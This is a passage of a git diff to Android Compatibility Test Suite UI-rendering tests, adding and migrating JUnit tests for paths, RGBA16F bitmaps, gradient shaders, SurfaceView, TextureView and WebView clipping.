                 .runWithVerifier(new SamplePointVerifier(
                         new Point[] {
                                 // inside of circle
@@ -160,11 +189,23 @@
                 .runWithComparer(new MSSIMComparer(0.90));
     }
 
+    private ViewInitializer initBlueWebView(final CountDownLatch fence) {
+        return view -> {
+            WebView webview = (WebView)view.findViewById(R.id.webview);
+            assertNotNull(webview);
+            WebViewReadyHelper helper = new WebViewReadyHelper(webview, fence);
+            helper.loadData("<body style=\"background-color:blue\">");
+        };
+    }
+
+    @LargeTest
     @Test
     public void testWebViewClipWithCircle() {
         if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
             return; // no WebView to run test on
         }
+        CountDownLatch hwFence = new CountDownLatch(1);
+        CountDownLatch swFence = new CountDownLatch(1);
         createTest()
                 // golden client - draw a simple non-AA circle
                 .addCanvasClient((canvas, width, height) -> {
@@ -174,11 +215,10 @@
                     canvas.drawOval(0, 0, width, height, paint);
                 }, false)
                 // verify against solid color webview, clipped to its parent oval
-                .addLayout(R.layout.circle_clipped_webview, (ViewInitializer) view -> {
-                    WebView webview = (WebView)view.findViewById(R.id.webview);
-                    assertNotNull(webview);
-                    webview.loadData("<body style=\"background-color:blue\">", null, null);
-                })
+                .addLayout(R.layout.circle_clipped_webview,
+                        initBlueWebView(hwFence), true, hwFence)
+                .addLayout(R.layout.circle_clipped_webview,
+                        initBlueWebView(swFence), false, swFence)
                 .runWithComparer(new MSSIMComparer(0.95));
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathTests.java
new file mode 100644
index 0000000..632ff85
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathTests.java
@@ -0,0 +1,96 @@
+package android.uirendering.cts.testclasses;
+
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.Path;
+import android.graphics.Typeface;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class PathTests extends ActivityTestBase {
+
+    @Test
+    public void testTextPathWithOffset() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+                    paint.setColor(Color.BLACK);
+                    paint.setAntiAlias(true);
+                    paint.setTypeface(Typeface.create("sans-serif", Typeface.NORMAL));
+                    paint.setTextSize(26);
+                    Path path = new Path();
+                    String text = "Abc";
+                    paint.getTextPath(text, 0, text.length(), 0, 0, path);
+                    path.offset(0, 50);
+                    canvas.drawPath(path, paint);
+                })
+                .runWithVerifier(new GoldenImageVerifier(getActivity(),
+                        R.drawable.text_path_with_offset, new MSSIMComparer(0.92)));
+    }
+
+    @Test
+    public void testPathApproximate_circle() {
+        final Path path = new Path();
+        path.addCircle(45, 45, 40, Path.Direction.CW);
+        verifyPathApproximation(path, R.drawable.pathtest_path_approximate_circle);
+    }
+
+    @Test
+    public void testPathApproximate_rect() {
+        final Path path = new Path();
+        path.addRect(5, 5, 85, 85, Path.Direction.CW);
+        verifyPathApproximation(path, R.drawable.pathtest_path_approximate_rect);
+    }
+
+    @Test
+    public void testPathApproximate_quads() {
+        final Path path = new Path();
+        path.moveTo(5, 5);
+        path.quadTo(45, 45, 85, 5);
+        path.quadTo(45, 45, 85, 85);
+        path.quadTo(45, 45, 5, 85);
+        path.quadTo(45, 45, 5, 5);
+        verifyPathApproximation(path, R.drawable.pathtest_path_approximate_quads);
+    }
+
+    @Test
+    public void testPathApproximate_cubics() {
+        final Path path = new Path();
+        path.moveTo(5, 5);
+        path.cubicTo(45, 45, 45, 45, 85, 5);
+        path.cubicTo(45, 45, 45, 45, 85, 85);
+        path.cubicTo(45, 45, 45, 45, 5, 85);
+        path.cubicTo(45, 45, 45, 45, 5, 5);
+        verifyPathApproximation(path, R.drawable.pathtest_path_approximate_cubics);
+    }
+
+    private void verifyPathApproximation(Path path, int goldenResourceId) {
+        float[] approx = path.approximate(0.5f);
+        final Paint paint = new Paint();
+        paint.setAntiAlias(true);
+        paint.setStrokeWidth(2);
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    float lastX = approx[1];
+                    float lastY = approx[2];
+                    for (int i = 3; i < approx.length; i += 3) {
+                        float x = approx[i + 1];
+                        float y = approx[i + 2];
+                        canvas.drawLine(lastX, lastY, x, y, paint);
+                        lastX = x;
+                        lastY = y;
+                    }
+                })
+                .runWithVerifier(new GoldenImageVerifier(getActivity(),
+                        goldenResourceId, new MSSIMComparer(0.98)));
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java
index a2f3730..454eb2c0 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java
@@ -21,13 +21,17 @@
 import android.graphics.Paint;
 import android.graphics.Picture;
 import android.graphics.Rect;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class PictureTest extends ActivityTestBase {
 
     private static final Rect sRect = new Rect(0, 0, 40, 40);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/Rgba16fTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/Rgba16fTests.java
new file mode 100644
index 0000000..d9ec2b5
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/Rgba16fTests.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.content.res.AssetManager;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.BitmapShader;
+import android.graphics.Canvas;
+import android.graphics.Paint;
+import android.graphics.Point;
+import android.graphics.Shader;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class Rgba16fTests extends ActivityTestBase {
+    @Test
+    public void testTransferFunctions() {
+        createTest()
+                .addCanvasClient("RGBA16F_TransferFunctions", (canvas, width, height) -> {
+                    AssetManager assets = getActivity().getResources().getAssets();
+                    try (InputStream in = assets.open("linear-rgba16f.png")) {
+                        Bitmap bitmap = BitmapFactory.decodeStream(in);
+                        canvas.scale(
+                                width / (float) bitmap.getWidth(),
+                                height / (float) bitmap.getHeight());
+                        canvas.drawBitmap(bitmap, 0, 0, null);
+                    } catch (IOException e) {
+                        throw new RuntimeException("Test failed: ", e);
+                    }
+                }, true)
+                .runWithVerifier(new SamplePointVerifier(
+                        new Point[] { new Point(0, 0) },
+                        new int[] { 0xffbbbbbb }
+                ));
+    }
+
+    @Test
+    public void testAlpha() {
+        createTest()
+                .addCanvasClient("RGBA16F_TransferFunctions", (canvas, width, height) -> {
+                    AssetManager assets = getActivity().getResources().getAssets();
+                    try (InputStream in = assets.open("linear-rgba16f.png")) {
+                        Bitmap bitmap = BitmapFactory.decodeStream(in);
+                        canvas.scale(
+                                width / (float) bitmap.getWidth(),
+                                height / (float) bitmap.getHeight());
+                        Paint p = new Paint();
+                        p.setAlpha(127);
+                        canvas.drawColor(0xffff0000);
+                        canvas.drawBitmap(bitmap, 0, 0, p);
+                    } catch (IOException e) {
+                        throw new RuntimeException("Test failed: ", e);
+                    }
+                }, true)
+                .runWithVerifier(new SamplePointVerifier(
+                        new Point[] { new Point(0, 0) },
+                        new int[] { 0xffdd5d5d }
+                ));
+    }
+
+    @Test
+    public void testMasked() {
+        createTest()
+                .addCanvasClient("RGBA16F_Masked", (canvas, width, height) -> {
+                    AssetManager assets = getActivity().getResources().getAssets();
+                    try (InputStream in = assets.open("linear-rgba16f.png")) {
+                        Bitmap bitmap = BitmapFactory.decodeStream(in);
+
+                        Bitmap res = BitmapFactory.decodeResource(getActivity().getResources(),
+                                R.drawable.alpha_mask);
+                        Bitmap mask = Bitmap.createBitmap(res.getWidth(), res.getHeight(),
+                                Bitmap.Config.ALPHA_8);
+                        Canvas c = new Canvas(mask);
+                        c.drawBitmap(res, 0, 0, null);
+
+                        Paint p = new Paint();
+                        p.setShader(new BitmapShader(bitmap,
+                                Shader.TileMode.CLAMP, Shader.TileMode.CLAMP));
+
+                        canvas.scale(
+                                width / (float) bitmap.getWidth(),
+                                height / (float) bitmap.getHeight());
+
+                        canvas.drawBitmap(mask, 0, 0, p);
+                    } catch (IOException e) {
+                        throw new RuntimeException("Test failed: ", e);
+                    }
+                }, true)
+                .runWithVerifier(new SamplePointVerifier(
+                        new Point[] { new Point(0, 0), new Point(31, 31) },
+                        new int[] { 0xffffffff, 0xffbbbbbb }
+                ));
+    }
+
+    @Test
+    public void testTransferFunctionsShader() {
+        createTest()
+                .addCanvasClient("RGBA16F_TransferFunctions_Shader", (canvas, width, height) -> {
+                    AssetManager assets = getActivity().getResources().getAssets();
+                    try (InputStream in = assets.open("linear-rgba16f.png")) {
+                        Bitmap bitmap = BitmapFactory.decodeStream(in);
+                        Paint p = new Paint();
+                        p.setShader(new BitmapShader(bitmap,
+                                Shader.TileMode.CLAMP, Shader.TileMode.CLAMP));
+                        canvas.drawRect(0.0f, 0.0f, width, height, p);
+                    } catch (IOException e) {
+                        throw new RuntimeException("Test failed: ", e);
+                    }
+                }, true)
+                .runWithVerifier(new SamplePointVerifier(
+                        new Point[] { new Point(0, 0) },
+                        new int[] { 0xffbbbbbb }
+                ));
+    }
+
+    @Test
+    public void testMirroredTransferFunctions() {
+        createTest()
+                .addCanvasClient("RGBA16F_TransferFunctions_Mirror", (canvas, width, height) -> {
+                    AssetManager assets = getActivity().getResources().getAssets();
+                    // Pure blue in ProPhoto RGB will yield negative R and G values in scRGB,
+                    // as well as a value > 1.0 for B
+                    try (InputStream in = assets.open("prophoto-rgba16f.png")) {
+                        Bitmap bitmap = BitmapFactory.decodeStream(in);
+                        canvas.scale(
+                                width / (float) bitmap.getWidth(),
+                                height / (float) bitmap.getHeight());
+                        canvas.drawBitmap(bitmap, 0, 0, null);
+                    } catch (IOException e) {
+                        throw new RuntimeException("Test failed: ", e);
+                    }
+                }, true)
+                .runWithVerifier(new SamplePointVerifier(
+                        new Point[] { new Point(0, 0) },
+                        new int[] { 0xff0000ff }
+                ));
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java
index 16a38e8..252874d 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java
@@ -21,19 +21,23 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ComposeShader;
+import android.graphics.LinearGradient;
 import android.graphics.Paint;
 import android.graphics.PorterDuff;
 import android.graphics.RadialGradient;
 import android.graphics.Shader;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
-import android.uirendering.cts.R;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class ShaderTests extends ActivityTestBase {
     @Test
     public void testSinglePixelBitmapShader() {
@@ -135,4 +139,40 @@
                 // expect extremely similar rendering results between SW and HW, since there's no AA
                 .runWithComparer(new MSSIMComparer(0.98f));
     }
+
+    @Test
+    public void testRepeatAlphaGradientShader() {
+        createTest()
+                .addCanvasClient(new CanvasClient() {
+                    Paint mPaint = new Paint();
+                    @Override
+                    public void draw(Canvas canvas, int width, int height) {
+                        if (mPaint.getShader() == null) {
+                            mPaint.setShader(new LinearGradient(0, 0, width / 2.0f, height,
+                                    Color.TRANSPARENT, Color.WHITE, Shader.TileMode.REPEAT));
+                        }
+                        canvas.drawColor(Color.WHITE);
+                        canvas.drawRect(0, 0, width, height, mPaint);
+                    }
+                })
+                .runWithVerifier(new ColorVerifier(Color.WHITE));
+    }
+
+    @Test
+    public void testClampAlphaGradientShader() {
+        createTest()
+                .addCanvasClient(new CanvasClient() {
+                    Paint mPaint = new Paint();
+                    @Override
+                    public void draw(Canvas canvas, int width, int height) {
+                        if (mPaint.getShader() == null) {
+                            mPaint.setShader(new LinearGradient(0, 0, width / 2.0f, height,
+                                    Color.TRANSPARENT, Color.WHITE, Shader.TileMode.CLAMP));
+                        }
+                        canvas.drawColor(Color.WHITE);
+                        canvas.drawRect(0, 0, width, height, mPaint);
+                    }
+                })
+                .runWithVerifier(new ColorVerifier(Color.WHITE));
+    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
index d3be299..e4f9809 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
@@ -17,16 +17,18 @@
 
 import android.graphics.Color;
 import android.graphics.Point;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
-
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
-
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.util.CompareUtils;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class ShadowTests extends ActivityTestBase {
 
     private class GrayScaleVerifier extends SamplePointVerifier {
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShapeTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShapeTests.java
new file mode 100644
index 0000000..0b708d4
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShapeTests.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ShapeTests extends ActivityTestBase {
+    @Test
+    public void testDashedOval() {
+        createTest()
+                .addLayout(R.layout.frame_layout,
+                        view -> view.setBackgroundResource(R.drawable.dashed_oval))
+                .runWithVerifier(new GoldenImageVerifier(getActivity(),
+                        R.drawable.golden_dashed_oval, new MSSIMComparer(0.99)));
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
index 901792d..741c35c 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
@@ -15,28 +15,39 @@
  */
 package android.uirendering.cts.testclasses;
 
+import com.android.compatibility.common.util.SynchronousPixelCopy;
+
 import android.animation.ObjectAnimator;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.Point;
 import android.graphics.Rect;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.uirendering.cts.bitmapverifiers.*;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
-import android.uirendering.cts.testinfrastructure.DrawActivity;
 import android.uirendering.cts.testinfrastructure.ViewInitializer;
 import android.view.Gravity;
+import android.view.PixelCopy;
 import android.view.SurfaceHolder;
 import android.view.SurfaceView;
 import android.view.View;
-import android.uirendering.cts.R;
 import android.view.animation.LinearInterpolator;
 import android.widget.FrameLayout;
+
+import org.junit.Assert;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.concurrent.CountDownLatch;
 
-@MediumTest
+@LargeTest
+@RunWith(AndroidJUnit4.class)
 public class SurfaceViewTests extends ActivityTestBase {
 
     static final CanvasCallback sGreenCanvasCallback =
@@ -100,8 +111,80 @@
                 mAnimator.cancel();
             }
         };
+        Screenshotter screenshotter = testOffset -> {
+            Bitmap source = getInstrumentation().getUiAutomation().takeScreenshot();
+            return Bitmap.createBitmap(source, testOffset.x, testOffset.y, TEST_WIDTH, TEST_HEIGHT);
+        };
         createTest()
                 .addLayout(R.layout.frame_layout, initializer, true)
+                .withScreenshotter(screenshotter)
                 .runWithAnimationVerifier(new ColorVerifier(Color.WHITE, 0 /* zero tolerance */));
     }
+
+    private static class SurfaceViewHelper implements ViewInitializer, Screenshotter, SurfaceHolder.Callback {
+        private final CanvasClient mCanvasClient;
+        private final CountDownLatch mFence = new CountDownLatch(1);
+        private SurfaceView mSurfaceView;
+
+        public SurfaceViewHelper(CanvasClient canvasClient) {
+            mCanvasClient = canvasClient;
+        }
+
+        @Override
+        public Bitmap takeScreenshot(Point point /* ignored */) {
+            SynchronousPixelCopy copy = new SynchronousPixelCopy();
+            Bitmap dest = Bitmap.createBitmap(
+                    TEST_WIDTH, TEST_HEIGHT, Config.ARGB_8888);
+            Rect srcRect = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
+            int copyResult = copy.request(mSurfaceView, srcRect, dest);
+            Assert.assertEquals(PixelCopy.SUCCESS, copyResult);
+            return dest;
+        }
+
+        @Override
+        public void initializeView(View view) {
+            FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
+            mSurfaceView = new SurfaceView(view.getContext());
+            mSurfaceView.getHolder().addCallback(this);
+            root.addView(mSurfaceView, new FrameLayout.LayoutParams(
+                    FrameLayout.LayoutParams.MATCH_PARENT,
+                    FrameLayout.LayoutParams.MATCH_PARENT));
+        }
+
+        @Override
+        public void surfaceCreated(SurfaceHolder holder) {
+        }
+
+        @Override
+        public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
+            // TODO: Remove the post() which is a temporary workaround for b/32484713
+            mSurfaceView.post(() -> {
+                Canvas canvas = holder.lockHardwareCanvas();
+                mCanvasClient.draw(canvas, width, height);
+                holder.unlockCanvasAndPost(canvas);
+                mFence.countDown();
+            });
+        }
+
+        @Override
+        public void surfaceDestroyed(SurfaceHolder holder) {
+        }
+
+        public CountDownLatch getFence() {
+            return mFence;
+        }
+    }
+
+    @Test
+    public void testSurfaceHolderHardwareCanvas() {
+        SurfaceViewHelper helper = new SurfaceViewHelper((canvas, width, height) -> {
+            Assert.assertNotNull(canvas);
+            Assert.assertTrue(canvas.isHardwareAccelerated());
+            canvas.drawColor(Color.GREEN);
+        });
+        createTest()
+                .addLayout(R.layout.frame_layout, helper, true, helper.getFence())
+                .withScreenshotter(helper)
+                .runWithVerifier(new ColorVerifier(Color.GREEN, 0 /* zero tolerance */));
+    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java
index 3f51bbe..ff0e9a7 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java
@@ -22,22 +22,24 @@
 import android.graphics.Paint;
 import android.graphics.Rect;
 import android.graphics.Shader;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
 import android.uirendering.cts.testinfrastructure.DisplayModifier;
 import android.uirendering.cts.testinfrastructure.ResourceModifier;
-import org.junit.Test;
 
-import java.util.LinkedHashMap;
-import java.util.Map;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test cases of all combination of resource modifications.
  */
-@MediumTest
+@LargeTest
+@RunWith(AndroidJUnit4.class)
 public class SweepTests extends ActivityTestBase {
     private final static DisplayModifier COLOR_FILTER_GRADIENT_MODIFIER = new DisplayModifier() {
         private final Rect mBounds = new Rect(30, 30, 150, 150);
@@ -120,9 +122,15 @@
         // Create the test cases with each combination
         do {
             int arrIndex = Math.min(index, bitmapComparers.length - 1);
-            createTest()
-                    .addCanvasClient(modifierAccessor.getDebugString(), canvasClient)
-                    .runWithComparer(bitmapComparers[arrIndex]);
+            TestCaseBuilder builder = createTest();
+            String debugString = modifierAccessor.getDebugString();
+            if (debugString.contains("bitmapMesh")) {
+                // picture mode is disabled due to bug:34871089
+                builder.addCanvasClientWithoutUsingPicture(debugString, canvasClient);
+            } else {
+                builder.addCanvasClient(debugString, canvasClient);
+            }
+            builder.runWithComparer(bitmapComparers[arrIndex]);
             index++;
         } while (modifierAccessor.step());
     }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
new file mode 100644
index 0000000..abbec36
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.SurfaceTexture;
+import android.support.annotation.ColorInt;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.uirendering.cts.util.DrawCountDown;
+import android.view.Surface;
+import android.view.TextureView;
+import android.view.TextureView.SurfaceTextureListener;
+import android.view.ViewGroup;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Assert;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TextureViewTests extends ActivityTestBase {
+
+    private static SurfaceTexture sRedTexture;
+
+    @BeforeClass
+    public static void setupClass() {
+        sRedTexture = createSurfaceTexture(true, Color.RED);
+    }
+
+    @AfterClass
+    public static void teardownClass() {
+        sRedTexture.release();
+        sRedTexture = null;
+    }
+
+    @After
+    public void tearDown() {
+        // TODO: Workaround for b/34231066
+        DrawCountDown.cancelPending();
+    }
+
+    @Test
+    public void testConstructDetachedSingleBuffered() {
+        testConstructDetached(true);
+    }
+    @Test
+    public void testConstructDetachedMultiBuffered() {
+        testConstructDetached(false);
+    }
+
+    private void testConstructDetached(boolean singleBuffered) {
+        final SurfaceTexture texture = createSurfaceTexture(singleBuffered, Color.RED);
+        createTest()
+                .addLayout(R.layout.textureview, (ViewInitializer) view -> {
+                    TextureView textureview = (TextureView) view;
+                    textureview.setSurfaceTexture(texture);
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.RED));
+        Assert.assertTrue(texture.isReleased());
+    }
+
+    private static SurfaceTexture createSurfaceTexture(boolean singleBuffered,
+            @ColorInt int fillColor) {
+        SurfaceTexture texture = new SurfaceTexture(singleBuffered);
+        texture.setDefaultBufferSize(TEST_WIDTH, TEST_HEIGHT);
+        Surface producer = new Surface(texture);
+        Canvas canvas = producer.lockCanvas(null);
+        canvas.drawColor(fillColor);
+        producer.unlockCanvasAndPost(canvas);
+        return texture;
+    }
+
+    @Test
+    public void testReuseSurfaceTexture() {
+        final CountDownLatch fence = new CountDownLatch(1);
+        SurfaceTextureListener stlistener = mock(SurfaceTextureListener.class);
+        when(stlistener.onSurfaceTextureDestroyed(any(SurfaceTexture.class)))
+                .thenReturn(false);
+        createTest()
+                .addLayout(R.layout.textureview, (ViewInitializer) view -> {
+                    final TextureView textureview = (TextureView) view;
+                    final ViewGroup parent = (ViewGroup) textureview.getParent();
+                    textureview.setSurfaceTextureListener(stlistener);
+                    textureview.setSurfaceTexture(sRedTexture);
+                    DrawCountDown.countDownDraws(parent, 1, () -> {
+                        parent.removeView(textureview);
+                    });
+                    DrawCountDown.countDownDraws(parent, 2, () -> {
+                        parent.addView(textureview);
+                        textureview.setSurfaceTexture(sRedTexture);
+                        textureview.post(fence::countDown);
+                    });
+                }, true, fence)
+                .runWithVerifier(new ColorVerifier(Color.RED));
+        verify(stlistener, times(2)).onSurfaceTextureDestroyed(any(SurfaceTexture.class));
+    }
+
+    @Test
+    public void testLockCanvas() {
+        final CountDownLatch fence = new CountDownLatch(1);
+        createTest()
+                .addLayout(R.layout.textureview, (ViewInitializer) view -> {
+                    final TextureView textureview = (TextureView) view;
+                    textureview.setSurfaceTextureListener(new SurfaceTextureListener() {
+                        @Override
+                        public void onSurfaceTextureUpdated(SurfaceTexture surface) {
+                            textureview.post(fence::countDown);
+                        }
+                        @Override
+                        public void onSurfaceTextureSizeChanged(SurfaceTexture surface,
+                                int width, int height) {}
+                        @Override
+                        public void onSurfaceTextureAvailable(SurfaceTexture surface,
+                                int width, int height) {
+                            Canvas canvas = textureview.lockCanvas();
+                            canvas.drawColor(Color.BLUE);
+                            textureview.unlockCanvasAndPost(canvas);
+                        }
+                        @Override
+                        public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) {
+                            return true;
+                        }
+                    });
+                }, true, fence)
+                .runWithVerifier(new ColorVerifier(Color.BLUE));
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
new file mode 100644
index 0000000..ffb263d
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.graphics.drawable.VectorDrawable;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
